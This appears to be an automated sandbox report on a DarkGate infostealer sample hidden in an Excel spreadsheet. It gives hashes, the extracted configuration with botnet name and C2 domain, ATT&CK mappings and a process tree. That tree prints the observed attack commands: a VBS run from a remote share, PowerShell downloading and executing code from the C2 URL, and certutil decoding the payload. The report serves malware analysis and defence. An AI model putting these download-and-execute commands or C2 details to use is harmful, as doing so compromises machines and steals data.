darkgate | baab40c7c1acabafaee78664e9e59f3b7a6081342862ebd2b126b2bee3aa967f

General

Target

march-D9445-2024.xlsx
Size

60KB
MD5

ac89528d1040074d45d5c19a0ceb7a6a
SHA1

8b47dba91232a0e1ac14cee24267e9c26d7e483c
SHA256

1d67808fee7115fa2597e8843aa10f737298c9f097397e5de486fc762753ea0b
SHA512

37da11cea5188cc7b7f6c9154410d9d663d5ed306313badbaa421025c49f90bff177613a132d2bff1b529ec214d9eb034937ab8d7830d30bd4451f1579a27feb
SSDEEP

1536:64N5DGhJDl5eZ9l0ohOplRfzDrtw86RUtdkV:643ChJR0vl0ohYlRfzD/6o2

Score

10^/10

darkgate admin888 stealer

Malware Config

Extracted

Family

darkgate

Botnet

admin888

C2

nextroundst.com

Attributes

anti_analysis
true
anti_debug
false
anti_vm
true
c2_port
80
check_disk
false
check_ram
false
check_xeon
false
crypter_au3
false
crypter_dll
false
crypter_raw_stub
false
internal_mutex
TuqohTUI
minimum_disk
50
minimum_ram
4000
ping_interval
6
rootkit
false
startup_persistence
true
username
admin888

Signatures

DarkGate
DarkGate is an infostealer written in C++.
stealer darkgate

Detect DarkGate stealer 2 IoCs

resource	yara_rule
behavioral2/memory/4680-63-0x0000000004A60000-0x0000000004AD3000-memory.dmp	family_darkgate_v6
behavioral2/memory/4680-65-0x0000000004A60000-0x0000000004AD3000-memory.dmp	family_darkgate_v6

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	1568	2396	WScript.exe	90

Blocklisted process makes network request 4 IoCs

flow	pid	Process
116	1000	powershell.exe
122	1000	powershell.exe
151	1000	powershell.exe
153	1000	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-566096764-1992588923-1249862864-1000\Control Panel\International\Geo\Nation	WScript.exe

Executes dropped EXE 1 IoCs

pid	Process
4680	AutoHotkey.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 5 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	AutoHotkey.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	AutoHotkey.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2396	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
1000	powershell.exe
1000	powershell.exe
1000	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1000	powershell.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
2396	EXCEL.EXE
2396	EXCEL.EXE
2396	EXCEL.EXE
2396	EXCEL.EXE
2396	EXCEL.EXE
2396	EXCEL.EXE
2396	EXCEL.EXE
2396	EXCEL.EXE
2396	EXCEL.EXE
2396	EXCEL.EXE
2396	EXCEL.EXE
2396	EXCEL.EXE
2396	EXCEL.EXE

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 2396 wrote to memory of 1568	2396	EXCEL.EXE	103
PID 2396 wrote to memory of 1568	2396	EXCEL.EXE	103
PID 1568 wrote to memory of 1000	1568	WScript.exe	105
PID 1568 wrote to memory of 1000	1568	WScript.exe	105
PID 1000 wrote to memory of 1680	1000	powershell.exe	107
PID 1000 wrote to memory of 1680	1000	powershell.exe	107
PID 1000 wrote to memory of 4680	1000	powershell.exe	109
PID 1000 wrote to memory of 4680	1000	powershell.exe	109
PID 1000 wrote to memory of 4680	1000	powershell.exe	109
PID 1000 wrote to memory of 3100	1000	powershell.exe	110
PID 1000 wrote to memory of 3100	1000	powershell.exe	110

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
3100	attrib.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\march-D9445-2024.xlsx"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2396
- C:\Windows\System32\WScript.exe
  "C:\Windows\System32\WScript.exe" "\\64.226.97.86\share\EXCEL_OPEN_DOC.vbs"
  2⤵
  - Process spawned unexpected child process
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:1568
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (Invoke-RestMethod -Uri 'nextroundst.com/qzaugqmb')
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1000
  - - C:\Windows\system32\certutil.exe
      "C:\Windows\system32\certutil.exe" -decodehex a.bin AutoHotkey.exe
      4⤵
      PID:1680
  - - C:\st\AutoHotkey.exe
      "C:\st\AutoHotkey.exe" script.ahk
      4⤵
      Executes dropped EXE
      Checks processor information in registry
      PID:4680
  - - C:\Windows\system32\attrib.exe
      "C:\Windows\system32\attrib.exe" +h C:/st
      4⤵
      Views/modifies file attributes
      PID:3100

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

1

T1564

Hidden Files and Directories

1

T1564.001

Credential Access

Discovery

Query Registry

3

T1012

System Information Discovery

4

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_nmn1ictb.unk.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

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C:\st\AutoHotkey.exe

Filesize
892KB

MD5
a59a2d3e5dda7aca6ec879263aa42fd3

SHA1
312d496ec90eb30d5319307d47bfef602b6b8c6c

SHA256
897b0d0e64cf87ac7086241c86f757f3c94d6826f949a1f0fec9c40892c0cecb

SHA512
852972ca4d7f9141ea56d3498388c61610492d36ea7d7af1b36d192d7e04dd6d9bc5830e0dcb0a5f8f55350d4d8aaac2869477686b03f998affbac6321a22030

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C:\st\a.bin

Filesize
1.7MB

MD5
bf88d228baec74c7928df463db0f0fdc

SHA1
efe1657bb9a9a31742b71d8c14bae89b2ab5533b

SHA256
493099b55ea0da872d3b9855c5a60752833e737be547ebc5328caea2bf0542ed

SHA512
c247a0dbba9971a8949729f888a4d8b10ca188b6fabedb9d1fe9cc7907cc4d807e66f3367ca287bf1e4062c342cbb7a724a9cc168018f55bc187e04897c8bdfa

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C:\st\script.ahk

Filesize
47KB

MD5
c88f338fcf8601643ea31ba945f8145b

SHA1
d006d7357cc38dd69f99b412a57965c7f048a0cc

SHA256
9e794c12cbb367850dafd7e0791f992a0aa96211c373d9404209a89cf1b59f41

SHA512
565841f1a1bdb0aa49b25ffca24f070369553c4d5d7703a3783a73d932857adbf6b6158ecc4b30e5263cac65be6372704337bd270acf2e2c850ab5abaaddd1c9

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C:\st\test.txt

Filesize
913KB

MD5
662041dc413d003ef0d57cccaad122a6

SHA1
1a79990a2ea16f5e1b33114c5add58e5c5b9be1b

SHA256
4a2ec674725092d9a460ca58bcd7fc51473a37b2ecd606910a4ac57086c0e2f8

SHA512
26a22c4524ac6f25cc470ee560edeaa5e8752fbcc201beef187b73ecf879799f2dffa14ab1c71ef35c6c6a02abb59ca02ff7e0beec644e5b52b1b04588976452

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memory/1000-47-0x000001B426E10000-0x000001B426E20000-memory.dmp

Filesize
64KB

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memory/1000-37-0x000001B426FC0000-0x000001B426FE2000-memory.dmp

Filesize
136KB

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memory/1000-46-0x00007FF9E5EC0000-0x00007FF9E6981000-memory.dmp

Filesize
10.8MB

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memory/1000-45-0x000001B427690000-0x000001B427852000-memory.dmp

Filesize
1.8MB

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memory/1000-44-0x000001B426E10000-0x000001B426E20000-memory.dmp

Filesize
64KB

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memory/1000-43-0x000001B426E10000-0x000001B426E20000-memory.dmp

Filesize
64KB

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memory/1000-42-0x00007FF9E5EC0000-0x00007FF9E6981000-memory.dmp

Filesize
10.8MB

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memory/1000-60-0x00007FF9E5EC0000-0x00007FF9E6981000-memory.dmp

Filesize
10.8MB

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memory/2396-8-0x00007FFA12B70000-0x00007FFA12D65000-memory.dmp

Filesize
2.0MB

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memory/2396-10-0x00007FFA12B70000-0x00007FFA12D65000-memory.dmp

Filesize
2.0MB

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memory/2396-14-0x00007FF9D0440000-0x00007FF9D0450000-memory.dmp

Filesize
64KB

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memory/2396-16-0x00007FFA12B70000-0x00007FFA12D65000-memory.dmp

Filesize
2.0MB

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memory/2396-17-0x00007FFA12B70000-0x00007FFA12D65000-memory.dmp

Filesize
2.0MB

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memory/2396-18-0x00007FFA12B70000-0x00007FFA12D65000-memory.dmp

Filesize
2.0MB

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memory/2396-31-0x00007FFA12B70000-0x00007FFA12D65000-memory.dmp

Filesize
2.0MB

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memory/2396-13-0x00007FFA12B70000-0x00007FFA12D65000-memory.dmp

Filesize
2.0MB

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memory/2396-12-0x00007FFA12B70000-0x00007FFA12D65000-memory.dmp

Filesize
2.0MB

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memory/2396-11-0x00007FFA12B70000-0x00007FFA12D65000-memory.dmp

Filesize
2.0MB

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memory/2396-9-0x00007FF9D0440000-0x00007FF9D0450000-memory.dmp

Filesize
64KB

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memory/2396-15-0x00007FFA12B70000-0x00007FFA12D65000-memory.dmp

Filesize
2.0MB

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memory/2396-0-0x00007FF9D2BF0000-0x00007FF9D2C00000-memory.dmp

Filesize
64KB

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memory/2396-6-0x00007FF9D2BF0000-0x00007FF9D2C00000-memory.dmp

Filesize
64KB

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memory/2396-7-0x00007FF9D2BF0000-0x00007FF9D2C00000-memory.dmp

Filesize
64KB

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memory/2396-2-0x00007FF9D2BF0000-0x00007FF9D2C00000-memory.dmp

Filesize
64KB

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memory/2396-5-0x00007FFA12B70000-0x00007FFA12D65000-memory.dmp

Filesize
2.0MB

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memory/2396-4-0x00007FF9D2BF0000-0x00007FF9D2C00000-memory.dmp

Filesize
64KB

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memory/2396-3-0x00007FFA12B70000-0x00007FFA12D65000-memory.dmp

Filesize
2.0MB

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memory/2396-1-0x00007FFA12B70000-0x00007FFA12D65000-memory.dmp

Filesize
2.0MB

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memory/4680-63-0x0000000004A60000-0x0000000004AD3000-memory.dmp

Filesize
460KB

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memory/4680-65-0x0000000004A60000-0x0000000004AD3000-memory.dmp

Filesize
460KB

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General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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